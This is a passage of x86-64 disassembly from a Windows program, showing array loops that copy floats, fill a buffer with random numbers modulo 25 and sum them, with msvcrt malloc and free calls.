mov rax, qword [rbp + 0x1170]
add rdx, rax
mov eax, dword [rbp - 0x1c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x1170]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp - 0x1c]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1170]
add rax, rdx
movss xmm0, dword [rbp - 0x20]
movss dword [rax], xmm0
add dword [rbp + 0x1cb8], 1
mov eax, 0x16
sub eax, dword [rbp + 0x1cb8]
cmp dword [rbp - 0x1c], eax
jl 0x140002875
add dword [rbp + 0x1cb8], 1
cmp dword [rbp + 0x1cb8], 0x16
jle 0x140002869
mov rax, qword [rbp + 0x1170]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x1cb4], 0xfa
mov dword [rbp + 0x1cb0], 0xe6
jmp 0x1400029ae
mov eax, dword [rbp + 0x1cb4]
cmp eax, dword [rbp + 0x1cb0]
jle 0x1400029a7
sub dword [rbp + 0x1cb4], 1
jmp 0x1400029ae
sub dword [rbp + 0x1cb0], 1
cmp dword [rbp + 0x1cb4], 0
jg 0x140002990
mov dword [rbp + 0x1ca8], 0
mov dword [rbp + 0x116c], 0
mov ecx, 0x5d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1160], rax
mov dword [rbp + 0x1cac], 0
jmp 0x140002a64
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x1cac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1160]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x1cac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1160]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x1ca8], eax
add dword [rbp + 0x1cac], 1
cmp dword [rbp + 0x1cac], 0x175
jle 0x1400029e8
mov rax, qword [rbp + 0x1160]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x115c], 0
mov dword [rbp + 0x1ca0], 0
mov dword [rbp + 0x1158], 0
mov ecx, 0x3d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1150], rax
mov dword [rbp + 0x1ca4], 0
jmp 0x140002b3a